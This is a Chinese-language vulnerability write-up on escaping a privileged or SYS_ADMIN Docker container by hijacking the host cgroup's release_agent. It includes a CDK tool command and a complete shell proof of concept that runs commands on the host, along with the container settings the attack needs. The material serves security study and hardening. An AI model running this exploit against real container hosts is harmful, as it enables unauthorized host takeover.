前言
Linux利用Cgroup实现了对容器的资源限制,利用该特性,我们可以逃逸与宿主机共享Cgroup的容器。
漏洞介绍
该漏洞将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent
文件,通过linux cgroup notify_on_release
机制触发shellcode执行,完成逃逸。
漏洞利用
cdk关于该漏洞的exp
- 宿主机以特权模式启动容器,尝试在该容器内部通过本脚本逃逸。
docker run -v /root/cdk:/cdk --rm -it --privileged ubuntu bash
- 容器内部执行
./cdk run mount-cgroup "touch /tmp/exp-success"
- 宿主机中出现
/tmp/exp-success
文件,说明exp已经成功执行,攻击者可以在宿主机执行任意命令。

漏洞复现
以下复现内容参考自:
配置不当导致的容器逃逸 - Kingkk's Blog
https://www.kingkk.com/2021/01/%E9%85%8D%E7%BD%AE%E4%B8%8D%E5%BD%93%E5%AF%BC%E8%87%B4%E7%9A%84%E5%AE%B9%E5%99%A8%E9%80%83%E9%80%B8/
把上面cdk执行的poc提取出来分析:
# 在容器内执行
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
- 创建了一个cgroup,并且通过
notify_on_release
机制执行容器中的可执行文件。
- 通过
sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
获取当前容器文件路径在宿主机上的绝对路径。
这样就可以在宿主机上执行容器中的文件,并将结果写入容器中的文件。
该逃逸方法不需要完全的特权模式运行容器,只需要满足:
- 以root用户身份在容器内运行
- 使用
SYS_ADMIN
Linux功能运行
- 缺少AppArmor配置文件,否则将允许mountsyscall
- cgroup v1虚拟文件系统必须以读写方式安装在容器内
# 满足条件运行容器,不需要特权容器
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
下图中,查看CapEff
并不是特权容器,exec_on_host.sh
为上面的poc内容,在宿主机上执行ps aux
,并将结果写入容器的/ouput
文件中:
